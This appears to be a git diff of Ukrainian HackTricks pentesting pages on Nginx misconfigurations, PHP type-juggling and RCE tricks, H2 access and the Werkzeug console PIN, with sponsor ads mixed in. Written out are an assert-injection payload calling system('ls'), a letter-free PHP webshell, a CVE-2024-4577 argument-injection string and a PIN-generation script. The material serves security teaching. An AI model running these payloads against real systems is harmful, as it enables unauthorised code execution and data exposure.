* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Офіційна сторінка: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
## Доступ
Ви можете вказати **неіснуючу назву бази даних** для того, щоб **створити нову базу даних без дійсних облікових даних** (**неавторизований**):
Ви можете вказати **неіснуючу назву бази даних**, щоб **створити нову базу даних без дійсних облікових даних** (**неавтентифіковану**):
![](<../../.gitbook/assets/image (131).png>)
@ -46,6 +50,10 @@ _**Трюк з коробки Hawk з HTB.**_
},
[...]
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -55,7 +63,7 @@ _**Трюк з коробки Hawk з HTB.**_
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Запустіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
## Відсутнє кореневе місцезнаходження <a href="#missing-root-location" id="missing-root-location"></a>
When configuring the Nginx server, the **root directive** plays a critical role by defining the base directory from which files are served. Consider the example below:
При налаштуванні сервера Nginx, **директива root** відіграє критичну роль, визначаючи базовий каталог, з якого подаються файли. Розгляньте наведену нижче приклад:
```bash
server {
root /etc/nginx;
@ -34,7 +36,7 @@ proxy_pass http://127.0.0.1:8080/;
}
}
```
У цій конфігурації `/etc/nginx` призначено як кореневий каталог. Ця настройка дозволяє доступ до файлів у вказаному кореневому каталозі, таких як `/hello.txt`. Однак важливо зазначити, що визначено лише конкретне місце (`/hello.txt`). Немає конфігурації для кореневого місця (`location / {...}`). Це упущення означає, що директива root застосовується глобально, що дозволяє запитам до кореневого шляху `/` отримувати доступ до файлів під `/etc/nginx`.
У цій конфігурації `/etc/nginx` призначено як кореневий каталог. Ця налаштування дозволяє доступ до файлів у вказаному кореневому каталозі, таких як `/hello.txt`. Однак важливо зазначити, що визначено лише конкретне місце (`/hello.txt`). Немає конфігурації для кореневого місця (`location / {...}`). Це упущення означає, що директива root застосовується глобально, що дозволяє запитам до кореневого шляху `/` отримувати доступ до файлів під `/etc/nginx`.
Критичне питання безпеки виникає з цієї конфігурації. Простий запит `GET`, наприклад `GET /nginx.conf`, може розкрити чутливу інформацію, надаючи файл конфігурації Nginx, розташований за адресою `/etc/nginx/nginx.conf`. Встановлення кореня на менш чутливий каталог, наприклад `/etc`, може зменшити цей ризик, але все ще може дозволити ненавмисний доступ до інших критичних файлів, включаючи інші файли конфігурації, журнали доступу та навіть зашифровані облікові дані, що використовуються для базової аутентифікації HTTP.
@ -56,7 +58,7 @@ alias /path/images/;
```
Більше інформації: [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)
Accunetix тести:
Тести Accunetix:
```
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
@ -64,7 +66,7 @@ alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
```
## Небезпечне обмеження шляхів <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
## Небезпечне обмеження шляху <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
Перегляньте наступну сторінку, щоб дізнатися, як обійти директиви, такі як:
```plaintext
@ -85,7 +87,7 @@ deny all;
{% hint style="danger" %}
Вразливі змінні `$uri` та `$document_uri`, і це можна виправити, замінивши їх на `$request_uri`.
Регулярний вираз також може бути вразливим, як:
Регулярний вираз також може бути вразливим, наприклад:
`location ~ /docs/([^/])? { … $1 … }` - Вразливий&#x20;
@ -112,12 +114,12 @@ Detectify: clrf
```
Дізнайтеся більше про ризики CRLF-ін'єкції та розділення відповідей на [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
Цю техніку також [**пояснено в цій доповіді**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) з деякими вразливими прикладами та механізмами виявлення. Наприклад, щоб виявити цю неконфігурацію з точки зору чорного ящика, ви можете використовувати ці запити:
Ця техніка також [**пояснена в цій доповіді**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) з деякими вразливими прикладами та механізмами виявлення. Наприклад, щоб виявити цю неконфігурацію з точки зору чорного ящика, ви можете використовувати ці запити:
* `https://example.com/%20X` - Будь-який HTTP код
* `https://example.com/%20H` - 400 Bad Request
Якщо вразливий, перший поверне "X" як будь-який HTTP метод, а другий поверне помилку, оскільки H не є дійсним методом. Отже, сервер отримає щось на зразок: `GET / H HTTP/1.1`, і це викличе помилку.
Якщо вразливий, перший поверне "X", оскільки це будь-який HTTP метод, а другий поверне помилку, оскільки H не є дійсним методом. Отже, сервер отримає щось на зразок: `GET / H HTTP/1.1`, і це викличе помилку.
Інші приклади виявлення можуть бути:
@ -172,30 +174,30 @@ proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
```
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Ця директива дозволяє Nginx надавати власну відповідь для відповідей з бекенду зі статус-кодом більше 300. Це забезпечує, що для нашого прикладу програми uWSGI відповідь `500 Error` перехоплюється та обробляється Nginx.
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Як випливає з назви, ця директива приховує вказані HTTP заголовки від клієнта, підвищуючи конфіденційність та безпеку.
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Ця директива дозволяє Nginx надавати власну відповідь для відповідей з бекенду зі статус-кодом більше 300. Це забезпечує, що для нашого прикладу програми uWSGI відповідь `500 Error` перехоплюється і обробляється Nginx.
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Як випливає з назви, ця директива приховує вказані HTTP заголовки від клієнта, підвищуючи конфіденційність і безпеку.
Коли надсилається дійсний запит `GET`, Nginx обробляє його звичайним чином, повертаючи стандартну відповідь про помилку без розкриття будь-яких секретних заголовків. Однак недійсний HTTP запит обходить цей механізм, що призводить до розкриття сирих відповідей бекенду, включаючи секретні заголовки та повідомлення про помилки.
Коли надсилається дійсний запит `GET`, Nginx обробляє його звичайним чином, повертаючи стандартну відповідь про помилку без розкриття будь-яких секретних заголовків. Однак недійсний HTTP запит обходить цей механізм, що призводить до розкриття сирих відповідей з бекенду, включаючи секретні заголовки та повідомлення про помилки.
## merge\_slashes встановлено на off
За замовчуванням директива Nginx **`merge_slashes`** встановлена на **`on`**, що стискає кілька прямолінійних слешів у URL в один слеш. Ця функція, хоча й спрощує обробку URL, може ненавмисно приховувати вразливості в програмах за Nginx, особливо ті, що піддаються атакам локального включення файлів (LFI). Експерти з безпеки **Денні Робінсон та Ротем Бар** підкреслили потенційні ризики, пов'язані з цією поведінкою за замовчуванням, особливо коли Nginx діє як зворотний проксі.
За замовчуванням директива Nginx **`merge_slashes`** встановлена на **`on`**, що стискає кілька прямолінійних слешів у URL в один слеш. Ця функція, хоча й спрощує обробку URL, може ненавмисно приховувати вразливості в програмах за Nginx, особливо ті, що піддаються атакам локального включення файлів (LFI). Експерти з безпеки **Денні Робінсон і Ротем Бар** підкреслили потенційні ризики, пов'язані з цією поведінкою за замовчуванням, особливо коли Nginx діє як реверс-проксі.
Щоб зменшити такі ризики, рекомендується **вимкнути директиву `merge_slashes`** для програм, схильних до цих вразливостей. Це забезпечить, що Nginx пересилає запити до програми без зміни структури URL, тим самим не маскуючи жодних основних проблем безпеки.
Щоб зменшити такі ризики, рекомендується **вимкнути директиву `merge_slashes`** для програм, які піддаються цим вразливостям. Це забезпечить, що Nginx пересилає запити до програми без зміни структури URL, тим самим не маскуючи жодних основних проблем безпеки.
Для отримання додаткової інформації перегляньте [Денні Робінсон та Ротем Бар](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
Для отримання додаткової інформації перегляньте [Денні Робінсон і Ротем Бар](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
### **Maclicious Response Headers**
Як показано в [**цьому описі**](https://mizu.re/post/cors-playground), є певні заголовки, які, якщо присутні у відповіді від веб-сервера, змінять поведінку проксі Nginx. Ви можете перевірити їх [**в документації**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
* `X-Accel-Redirect`: Вказує Nginx внутрішньо перенаправити запит на вказане місце.
* `X-Accel-Redirect`: Вказує Nginx на внутрішнє перенаправлення запиту на вказане місце.
* `X-Accel-Buffering`: Контролює, чи повинен Nginx буферизувати відповідь.
* `X-Accel-Charset`: Встановлює набір символів для відповіді при використанні X-Accel-Redirect.
* `X-Accel-Expires`: Встановлює час закінчення терміну дії для відповіді при використанні X-Accel-Redirect.
* `X-Accel-Limit-Rate`: Обмежує швидкість передачі для відповідей при використанні X-Accel-Redirect.
Наприклад, заголовок **`X-Accel-Redirect`** викличе внутрішнє **перенаправлення** в nginx. Отже, наявність конфігурації nginx з чимось на кшталт **`root /`** та відповіді від веб-сервера з **`X-Accel-Redirect: .env`** змусить nginx надіслати вміст **`/.env`** (Path Traversal).
Наприклад, заголовок **`X-Accel-Redirect`** викличе внутрішнє **перенаправлення** в nginx. Отже, наявність конфігурації nginx з чимось на кшталт **`root /`** і відповіді від веб-сервера з **`X-Accel-Redirect: .env`** змусить nginx надіслати вміст **`/.env`** (Path Traversal).
### **Значення за замовчуванням у директиві Map**
@ -218,11 +220,11 @@ return 200 "Hello. It is private area: $mappocallow";
}
}
```
Без `default` **зловмисний користувач** може обійти безпеку, отримавши доступ до **недефінованого URI** в `/map-poc`. [Посібник Nginx](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) радить встановити **значення за замовчуванням**, щоб уникнути таких проблем.
Без `default` **зловмисний користувач** може обійти безпеку, отримуючи доступ до **недефінованого URI** в межах `/map-poc`. [Посібник Nginx](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) радить встановити **значення за замовчуванням**, щоб уникнути таких проблем.
### **Уразливість до DNS-спуфінгу**
### **Уразливість до спуфінгу DNS**
DNS-спуфінг проти Nginx можливий за певних умов. Якщо зловмисник знає **DNS-сервер**, який використовує Nginx, і може перехопити його DNS-запити, він може підробити DNS-записи. Однак цей метод є неефективним, якщо Nginx налаштований на використання **localhost (127.0.0.1)** для розв'язання DNS. Nginx дозволяє вказувати DNS-сервер наступним чином:
Спуфінг DNS проти Nginx можливий за певних умов. Якщо зловмисник знає **DNS сервер**, який використовує Nginx, і може перехопити його DNS запити, він може підробити DNS записи. Однак цей метод є неефективним, якщо Nginx налаштований на використання **localhost (127.0.0.1)** для розв'язання DNS. Nginx дозволяє вказувати DNS сервер наступним чином:
```yaml
resolver 8.8.8.8;
```
@ -286,7 +288,9 @@ Nginxpwner - це простий інструмент для пошуку пош
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пенетестації**. Проведіть повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціальні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -15,11 +15,15 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
## Cookies common location:
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Загальне місцезнаходження куків:
Це також стосується куків phpMyAdmin.
@ -79,7 +83,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
### Жорстке приведення типів
Навіть якщо `===` **використовується**, можуть бути помилки, які роблять **порівняння вразливим** до **приведення типів**. Наприклад, якщо порівняння **перетворює дані в інший тип об'єкта перед порівнянням**:
Навіть якщо `===` **використовується**, можуть виникати помилки, які роблять **порівняння вразливим** до **приведення типів**. Наприклад, якщо порівняння **перетворює дані в інший тип об'єкта перед порівнянням**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -121,14 +125,14 @@ From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challen
#### ReDoS Bypass
Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
Трюк з: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) та [https://mizu.re/post/pong](https://mizu.re/post/pong)
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
Коротко кажучи, проблема виникає через те, що функції `preg_*` у PHP базуються на [бібліотеці PCRE](http://www.pcre.org/). У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження [за замовчуванням становить 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), що більше, ніж вміщується в стек.
Коротко кажучи, проблема виникає через те, що функції `preg_*` у PHP базуються на [бібліотеці PCRE](http://www.pcre.org/). У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження [за замовчуванням становить 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), що більше, ніж вміщається в стек.
[Ця тема на Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) також була згадана в пості, де більш детально обговорюється ця проблема. Наше завдання стало зрозумілим:\
**Надіслати вхідні дані, які змусили б regex виконати 100\_000+ рекурсій, викликавши SIGSEGV, змусивши функцію `preg_match()` повернути `false`, таким чином змусивши додаток вважати, що наші вхідні дані не є шкідливими, підкидаючи сюрприз в кінці корисного навантаження щось на кшталт `{system(<verybadcommand>)}` для отримання SSTI --> RCE --> flag :)**.
[Ця тема на Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) також була згадана в пості, де детальніше обговорюється ця проблема. Наше завдання стало зрозумілим:\
**Надіслати вхідні дані, які змусили б regex виконати 100\_000+ рекурсій, викликавши SIGSEGV, змусивши функцію `preg_match()` повернути `false`, таким чином змусивши додаток вважати, що наш вхід не є шкідливим, підкидаючи сюрприз в кінці корисного навантаження щось на кшталт `{system(<verybadcommand>)}` для отримання SSTI --> RCE --> flag :)**.
Отже, в термінах regex, ми насправді не виконуємо 100k "рекурсій", а замість цього ми рахуємо "кроки назад", які, як зазначає [документація PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), за замовчуванням становлять 1\_000\_000 (1M) у змінній `pcre.backtrack_limit`.\
Щоб досягти цього, `'X'*500_001` призведе до 1 мільйона кроків назад (500k вперед і 500k назад):
@ -158,21 +162,21 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Вразливість обходу шляху та включення файлів
## Path Traversal and File Inclusion Exploitation
Перевірте:
Check:
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
[file-inclusion](../../../pentesting-web/file-inclusion/)
{% endcontent-ref %}
## Більше трюків
## More tricks
* **register\_globals**: У **PHP < 4.1.1.1** або якщо неправильно налаштовано, **register\_globals** може бути активним (або їхня поведінка імітується). Це означає, що в глобальних змінних, таких як $\_GET, якщо вони мають значення, наприклад, $\_GET\["param"]="1234", ви можете отримати доступ до них через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні**, які використовуються в коді.
* **PHPSESSION куки одного домену зберігаються в одному місці**, тому якщо в межах домену **використовуються різні куки в різних шляхах**, ви можете зробити так, щоб шлях **отримував доступ до куки іншого шляху**, встановивши значення куки іншого шляху.\
Таким чином, якщо **обидва шляхи отримують доступ до змінної з однаковою назвою**, ви можете зробити так, щоб **значення цієї змінної в path1 застосовувалося до path2**. І тоді path2 вважатиме змінні path1 дійсними (надаючи куки ім'я, яке відповідає йому в path2).
* **register\_globals**: У **PHP < 4.1.1.1** або якщо неправильно налаштовано, **register\_globals** може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $\_GET, якщо вони мають значення, наприклад, $\_GET\["param"]="1234", ви можете отримати доступ до них через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні**, які використовуються в коді.
* **PHPSESSION cookies одного домену зберігаються в одному місці**, тому якщо в межах домену **використовуються різні cookies в різних шляхах**, ви можете зробити так, щоб шлях **отримував доступ до cookie іншого шляху**, встановивши значення cookie іншого шляху.\
Таким чином, якщо **обидва шляхи отримують доступ до змінної з однаковою назвою**, ви можете зробити так, щоб **значення цієї змінної в path1 застосовувалося до path2**. І тоді path2 вважатиме змінні path1 дійсними (надаючи cookie ім'я, яке відповідає йому в path2).
* Коли у вас є **імена користувачів** користувачів машини. Перевірте адресу: **/\~\<USERNAME>**, щоб дізнатися, чи активовані php каталоги.
* [**LFI та RCE за допомогою php обгорток**](../../../pentesting-web/file-inclusion/)
* [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
@ -238,7 +242,7 @@ preg_replace("/a/e","phpinfo()","whatever")
```
### **RCE через Assert()**
Ця функція в php дозволяє вам **виконувати код, написаний у рядку**, щоб **повернути true або false** (і в залежності від цього змінити виконання). Зазвичай змінна користувача буде вставлена в середину рядка. Наприклад:\
Ця функція в php дозволяє вам **виконувати код, який написаний у рядку** для того, щоб **повернути true або false** (і в залежності від цього змінити виконання). Зазвичай змінна користувача буде вставлена в середину рядка. Наприклад:\
`assert("strpos($_GET['page']),'..') === false")` --> У цьому випадку, щоб отримати **RCE**, ви могли б зробити:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
@ -305,7 +309,7 @@ usort();}phpinfo;#, "cmp");
### XAMPP CGI RCE - CVE-2024-4577
Веб-сервер аналізує HTTP запити і передає їх PHP скрипту, виконуючи запит, такий як [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) як `php.exe cgi.php foo=bar`, що дозволяє ін'єкцію параметрів. Це дозволить ін'єктувати наступні параметри для завантаження PHP коду з тіла:
Веб-сервер обробляє HTTP запити і передає їх PHP скрипту, виконуючи запит, такий як [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) як `php.exe cgi.php foo=bar`, що дозволяє ін'єкцію параметрів. Це дозволить ін'єктувати наступні параметри для завантаження PHP коду з тіла:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
@ -349,7 +353,7 @@ $_COOKIE | if #This mea
PHP обгортки та протоколи можуть дозволити вам **обійти захисти на запис і читання** в системі та скомпрометувати її. Для [**додаткової інформації перегляньте цю сторінку**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug неавторизований RCE
## Xdebug неавтентифікований RCE
Якщо ви бачите, що **Xdebug** **увімкнено** в `phpconfig()` виводі, вам слід спробувати отримати RCE через [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
@ -397,7 +401,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Отже, якщо ви можете **виконувати довільний PHP без цифр і літер**, ви можете надіслати запит, подібний до наступного, зловживаючи цим корисним навантаженням для виконання довільного PHP:
Отже, якщо ви можете **виконувати довільний PHP без цифр і літер**, ви можете надіслати запит, як наведено нижче, зловживаючи цим корисним навантаженням для виконання довільного PHP:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -464,13 +468,17 @@ $____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Запустіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціальні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та отримання задоволення.
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -58,7 +60,7 @@ shell that runs the server
* **`uuid.getnode()`**: Отримує MAC-адресу поточної машини, з `str(uuid.getnode())` перетворюючи її в десятковий формат.
* Щоб **визначити MAC-адресу сервера**, потрібно ідентифікувати активний мережевий інтерфейс, що використовується додатком (наприклад, `ens3`). У випадках невизначеності, **використовуйте `/proc/net/arp`** для знаходження ID пристрою, потім **витягніть MAC-адресу** з **`/sys/class/net/<device id>/address`**.
* Перетворення шістнадцяткової MAC-адреси в десяткову можна виконати, як показано нижче:
* Перетворення шістнадцяткової MAC-адреси в десяткову можна виконати, як показано нижче:
```python
# Приклад MAC-адреси: 56:00:02:7a:23:ac
@ -109,9 +111,9 @@ try:
```
</details>
Після збору всіх необхідних даних, експлoit-скрипт може бути виконаний для генерації PIN-коду консолі Werkzeug:
Після збору всіх необхідних даних, скрипт експлуатації може бути виконаний для генерації PIN-коду консолі Werkzeug:
Після збору всіх необхідних даних, експлoit-скрипт може бути виконаний для генерації PIN-коду консолі Werkzeug. Скрипт використовує зібрані `probably_public_bits` та `private_bits` для створення хешу, який потім підлягає подальшій обробці для отримання фінального PIN-коду. Нижче наведено код Python для виконання цього процесу:
Після збору всіх необхідних даних, скрипт експлуатації може бути виконаний для генерації PIN-коду консолі Werkzeug. Скрипт використовує зібрані `probably_public_bits` та `private_bits` для створення хешу, який потім підлягає подальшій обробці для отримання фінального PIN-коду. Нижче наведено код Python для виконання цього процесу:
```python
import hashlib
from itertools import chain
@ -157,17 +159,17 @@ rv = num
print(rv)
```
Цей скрипт генерує PIN, хешуючи конкатеновані біти, додаючи специфічні сільці (`cookiesalt` та `pinsalt`) і форматуючи вихідні дані. Важливо зазначити, що фактичні значення для `probably_public_bits` та `private_bits` потрібно точно отримати з цільової системи, щоб забезпечити відповідність згенерованого PIN очікуваному в консолі Werkzeug.
Цей скрипт генерує PIN, хешуючи конкатеновані біти, додаючи специфічні солі (`cookiesalt` та `pinsalt`) і форматуючи вихідні дані. Важливо зазначити, що фактичні значення для `probably_public_bits` та `private_bits` потрібно точно отримати з цільової системи, щоб забезпечити відповідність згенерованого PIN очікуваному в консолі Werkzeug.
{% hint style="success" %}
